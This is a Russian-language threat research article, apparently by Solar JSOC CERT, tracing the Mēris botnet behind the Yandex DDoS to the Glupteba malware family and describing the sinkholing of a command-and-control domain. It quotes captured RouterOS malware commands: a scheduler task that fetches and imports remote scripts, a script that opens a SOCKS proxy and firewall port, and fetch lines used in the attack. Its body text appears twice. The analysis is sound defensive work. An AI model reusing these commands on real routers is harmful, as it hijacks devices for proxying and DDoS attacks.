Неделю назад стало известно о рекордной DDoS-атаке на компанию Яндекс с впечатляющим значением в 21,8 млн RPS. Сотрудники Яндекса совместно с компанией Qrator Labs рассказали,
что инструментом проведения атаки был ботнет Mēris, состоящий из сетевых устройств компании Mikrotik. При этом они отметили, что изучить образец бота у них не было возможности, но утверждение, что Mēris – это «вернувшийcя Mirai», не совсем точно из-за различия в сетевых уровнях атаки (L7 и L3).
Мы уверены, что данные обстоятельства привлекли внимание многих специалистов
по информационной безопасности в попытках изучения внутреннего устройства ботнета Mēris
и природы его возникновения. Мы в Solar JSOC CERT не стали исключением и пришли к выводу, что, возможно, Mēris начал зарождаться еще в 2018 году с помощью вредоносного семейства Glupteba, которое до сих пор является «поставщиком» устройств для Mēris. Так же нам удалось получить контроль над 45 тысячами устройств MikroTik.
JSOC CERT имеет расп��еделенную по миру сеть honeypot-устройств для изучения массовых атак и вредоносных семейств с 2019 года. Последние два года мы наблюдали за попытками заражения устройств MikroTik при помощи брутфорса паролей по ssh и эксплуатации уязвимости CVE-2018-14847, позволяющей получить учетную запись администратора. Как правило после удачного входа на устройство прописывается команда на добавление задачи в планировщик задач RouterOS следующего вида:
У всех URL всегда присутствовала характерная часть “/poll/”, идентификатор же постоянно менялся. Кроме того, сервер управления всегда проверяет User-Agent в http-запросе и отдает нагрузку только устройствам MikroTik (User-Agent: Mikrotik/6.x Fetch).
Через некоторое время после заражения устройства по ссылке из запланированной задачи скачивается и запускается скрипт с командами (об этом уже писали на Хабре):
Устройства MikroTik занимают небольшую часть в нашей honeypot-сети, поэтому мы не могли, оперируя лишь нашими данными, рассуждать о масштабах угрозы.
9 сентября 2021 года на наши устройства MikroTik с серверов управления (ниже в таблице) пришла очередная задача (описанного выше формата), которую мы не встречали ранее.
Она содержала ссылку на Яндекс (по указанным ссылкам сейчас находится заглушка, рекомендующая проверить компьютер на вирусы; изначальное содержимое нам неизвестно):
Так же в этот день Яндекс опубликовал новость о DDoS-атаке. Прочитав ее, мы сделали предположение, что именно таким образом и была организована атака (технических подробностей на тот момент представлено не было). То есть в качестве семпла вредоносного кода выступает лишь задача в планировщике RouterOS.
10 сентября 2021 мы зафиксировали распространение команды, в которой передавались параметры авторизации на FTP-сервере и задача по выгрузке на него конфигурационного файла зараженного устройства.
Мы забрали и проанализировали все конфигурационные файлы (они не содержат публичные адреса, логины и пароли). В итоге нам удалось идентифицировать общее количество уникальных устройств равное 95500.
При сравнении полученной информации о регионах устройств, версиях ОС и открытых Socks-proxy с данными в посте Яндекса мы заметили очевидное сходство.
Важной информацией в конфигурационных файлах всех устройств MikroTik было наличие записей о задачах в RouterOS. Мы проанализировали доменные имена (ниже), с которых взломанные устройства скачивали скрипты, и это привело нас к вредоносному семейству Glupteba, о котором мы уже рассказывали.
Именно тут мы и вспомнили, что Glupteba имеет в своем арсенале модуль для заражения MikroTik, который, к слову, работает тоже через брутфорс паролей по ssh и эксплуатации уязвимости CVE-2018-14847 и создает ровно такие же задачи.
О данном модуле ранее писали Sophos и TrendMicro (см. здесь и здесь).
Пример шаблона для формирования задачи из модуля:
Помните про идентификатор задачи, который присылался вместе с доменом и располагался после характерной части “/poll/”? Так вот это UUID, который формируется при помощи библиотеки github.com/gofrs/uuid как в основном модуле Glupteba, так и в модуле Mikrotik.
От себя скажем, что мы встречались с разными модулями Glupteba для Mikrotik. Условно их можно разделить на несколько групп:
Составили таблицу, в которой мы привели данные о доменах, найденных во вредоносных задачах конфигурационных файлов 95500 устройств Mikrotik и доменах, которые мы обнаружили в модулях семейства Glupteba:
Описанные выше данные позволяют предположить, что вредоносное семейство Glupteba, участвовало в формировании ботнета Mēris. Мы думали, что на этом наше исследование подойдет к концу, но самое интересное нас еще ждало впереди.
14 сентября 2021 в 17:37 на нашем ханипоте MikroTik была запущена очередная команда, которая отсылала зараженное устройство на CnC-адрес cosmosentry[.]com. Мы очень удивились, когда выяснили, что это доменное имя еще никому не принадлежит, и быстро зарегистрировали его на себя. За шесть дней на наш сервер обратилось около 78 тысяч уникальных IP c характерным для MikroTik User-Agent, и мы думали, что это соответствует количеству зараженных устройств.
Однако после изучения статистических данных оказалось, что на самом деле устройств около 45 тысяч, а такое количество IP-адресов получилось из-за динамической адресации. То есть многие устройства не имеют белого адреса и находятся во внутренней сети, что еще раз наводит на мысль об участии в этом деле семейства Glupteba.
Например, на рисунке представлена одна «белая подсеть» по маске /24, из которой идут обращения к cosmosentry[.]com.
Распределение по geo IP:
Наша статистика по геопринадлежности зараженных устройств схожа с данными в посте Яндекса (Бразилия, Индонезия, Индия, Бангладеш). Но есть и различия (у нас большую часть занимает Украина). Вероятно, у ботнета Mēris несколько серверов управления и нам доступна только часть устройств.
В конце хочется напомнить, что, к сожалению, мы не можем предпринять никаких активных действий с подконтрольными нам устройствами (у нас нет на это полномочий). В настоящий момент порядка 45 тысяч устройств MikroTik обращаются к нам, как к sinkhole-домену.
Информация уже передана в НКЦКИ.
Игорь Залевский, руководитель отдела расследования киберинцидентов Solar JSOC CERT, «Ростелеком-Солар»
что инструментом проведения атаки был ботнет Mēris, состоящий из сетевых устройств компании Mikrotik. При этом они отметили, что изучить образец бота у них не было возможности, но утверждение, что Mēris – это «вернувшийcя Mirai», не совсем точно из-за различия в сетевых уровнях атаки (L7 и L3).
Мы уверены, что данные обстоятельства привлекли внимание многих специалистов
по информационной безопасности в попытках изучения внутреннего устройства ботнета Mēris
и природы его возникновения. Мы в Solar JSOC CERT не стали исключением и пришли к выводу, что, возможно, Mēris начал зарождаться еще в 2018 году с помощью вредоносного семейства Glupteba, которое до сих пор является «поставщиком» устройств для Mēris. Так же нам удалось получить контроль над 45 тысячами устройств MikroTik.
JSOC CERT имеет расп��еделенную по миру сеть honeypot-устройств для изучения массовых атак и вредоносных семейств с 2019 года. Последние два года мы наблюдали за попытками заражения устройств MikroTik при помощи брутфорса паролей по ssh и эксплуатации уязвимости CVE-2018-14847, позволяющей получить учетную запись администратора. Как правило после удачного входа на устройство прописывается команда на добавление задачи в планировщик задач RouterOS следующего вида:
/system scheduler add name="U6" interval=10m on-event="/tool
fetch url=http://…/poll/eb62f787-db25-489b-b60d-de8f23940ba2 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write
У всех URL всегда присутствовала характерная часть “/poll/”, идентификатор же постоянно менялся. Кроме того, сервер управления всегда проверяет User-Agent в http-запросе и отдает нагрузку только устройствам MikroTik (User-Agent: Mikrotik/6.x Fetch).
Через некоторое время после заражения устройства по ссылке из запланированной задачи скачивается и запускается скрипт с командами (об этом уже писали на Хабре):
:do { /system scheduler set U6 interval=00:03:00 } on-error={ :put "U6 not found"}
:do { /system scheduler set U7 interval=00:03:00 } on-error={ :put "U7 not found"}
:do { /ip service disable telnet } on-error={ :put "disable telnet error"}
:do { /ip service disable api } on-error={ :put "disable api error"}
:do { /ip service disable api-ssl } on-error={ :put "disable api-ssl error"}
:do { /ip service set ssh port= } on-error={ :put "set ssh port error"}
:do { /ip socks set enabled=yes } on-error={ :put "socks enable error"}
:do { /ip socks set port=5678 } on-error={ :put "set socks port error"}
:do { /ip firewall filter add action=accept chain=input disabled=no dst-port=5678 protocol=tcp place-before=1 } on-error={ :put "firewall error"}
Устройства MikroTik занимают небольшую часть в нашей honeypot-сети, поэтому мы не могли, оперируя лишь нашими данными, рассуждать о масштабах угрозы.
9 сентября 2021 года на наши устройства MikroTik с серверов управления (ниже в таблице) пришла очередная задача (описанного выше формата), которую мы не встречали ранее.
Она содержала ссылку на Яндекс (по указанным ссылкам сейчас находится заглушка, рекомендующая проверить компьютер на вирусы; изначальное содержимое нам неизвестно):
:do { /system scheduler set U6 interval=00:03:00 } on-error={ :put "U6 not found"}
:do { /system scheduler set U7 interval=00:03:00 } on-error={ :put "U7 not found"}
:do { /ip service disable telnet } on-error={ :put "disable telnet error"}
:do { /ip service disable api } on-error={ :put "disable api error"}
:do { /ip service disable api-ssl } on-error={ :put "disable api-ssl error"}
:do { /ip service set ssh port= } on-error={ :put "set ssh port error"}
:do { /ip socks set enabled=yes } on-error={ :put "socks enable error"}
:do { /ip socks set port=5678 } on-error={ :put "set socks port error"}
:do { /ip firewall filter add action=accept chain=input disabled=no dst-port=5678 protocol=tcp place-before=1 } on-error={ :put "firewall error"}
:do { /tool fetch mode=https url="https://yandex[.]ru/Cphzp2XC7Q02VExgJtvysup9dHTCN9A0" http-method=get }
:do { /tool fetch mode=https url="https://yandex[.]ru/Cphzp2XC7Q02VExgJtvysup9dHTCN9A0?init" http-method=get }Так же в этот день Яндекс опубликовал новость о DDoS-атаке. Прочитав ее, мы сделали предположение, что именно таким образом и была организована атака (технических подробностей на тот момент представлено не было). То есть в качестве семпла вредоносного кода выступает лишь задача в планировщике RouterOS.
10 сентября 2021 мы зафиксировали распространение команды, в которой передавались параметры авторизации на FTP-сервере и задача по выгрузке на него конфигурационного файла зараженного устройства.
Мы забрали и проанализировали все конфигурационные файлы (они не содержат публичные адреса, логины и пароли). В итоге нам удалось идентифицировать общее количество уникальных устройств равное 95500.
При сравнении полученной информации о регионах устройств, версиях ОС и открытых Socks-proxy с данными в посте Яндекса мы заметили очевидное сходство.
Важной информацией в конфигурационных файлах всех устройств MikroTik было наличие записей о задачах в RouterOS. Мы проанализировали доменные имена (ниже), с которых взломанные устройства скачивали скрипты, и это привело нас к вредоносному семейству Glupteba, о котором мы уже рассказывали.
Именно тут мы и вспомнили, что Glupteba имеет в своем арсенале модуль для заражения MikroTik, который, к слову, работает тоже через брутфорс паролей по ssh и эксплуатации уязвимости CVE-2018-14847 и создает ровно такие же задачи.
О данном модуле ранее писали Sophos и TrendMicro (см. здесь и здесь).
Пример шаблона для формирования задачи из модуля:
Помните про идентификатор задачи, который присылался вместе с доменом и располагался после характерной части “/poll/”? Так вот это UUID, который формируется при помощи библиотеки github.com/gofrs/uuid как в основном модуле Glupteba, так и в модуле Mikrotik.
От себя скажем, что мы встречались с разными модулями Glupteba для Mikrotik. Условно их можно разделить на несколько групп:
- Язык: Go, один вшитый домен для формирования задачи;
- Язык: Go, несколько вшитых доменов (обычно, три), один из которых выбирается случайным образом;
- Язык: C++ с использованием boost.
Составили таблицу, в которой мы привели данные о доменах, найденных во вредоносных задачах конфигурационных файлов 95500 устройств Mikrotik и доменах, которые мы обнаружили в модулях семейства Glupteba:
Описанные выше данные позволяют предположить, что вредоносное семейство Glupteba, участвовало в формировании ботнета Mēris. Мы думали, что на этом наше исследование подойдет к концу, но самое интересное нас еще ждало впереди.
14 сентября 2021 в 17:37 на нашем ханипоте MikroTik была запущена очередная команда, которая отсылала зараженное устройство на CnC-адрес cosmosentry[.]com. Мы очень удивились, когда выяснили, что это доменное имя еще никому не принадлежит, и быстро зарегистрировали его на себя. За шесть дней на наш сервер обратилось около 78 тысяч уникальных IP c характерным для MikroTik User-Agent, и мы думали, что это соответствует количеству зараженных устройств.
Однако после изучения статистических данных оказалось, что на самом деле устройств около 45 тысяч, а такое количество IP-адресов получилось из-за динамической адресации. То есть многие устройства не имеют белого адреса и находятся во внутренней сети, что еще раз наводит на мысль об участии в этом деле семейства Glupteba.
Например, на рисунке представлена одна «белая подсеть» по маске /24, из которой идут обращения к cosmosentry[.]com.
Распределение по geo IP:
Наша статистика по геопринадлежности зараженных устройств схожа с данными в посте Яндекса (Бразилия, Индонезия, Индия, Бангладеш). Но есть и различия (у нас большую часть занимает Украина). Вероятно, у ботнета Mēris несколько серверов управления и нам доступна только часть устройств.
В конце хочется напомнить, что, к сожалению, мы не можем предпринять никаких активных действий с подконтрольными нам устройствами (у нас нет на это полномочий). В настоящий момент порядка 45 тысяч устройств MikroTik обращаются к нам, как к sinkhole-домену.
Информация уже передана в НКЦКИ.
Игорь Залевский, руководитель отдела расследования киберинцидентов Solar JSOC CERT, «Ростелеком-Солар»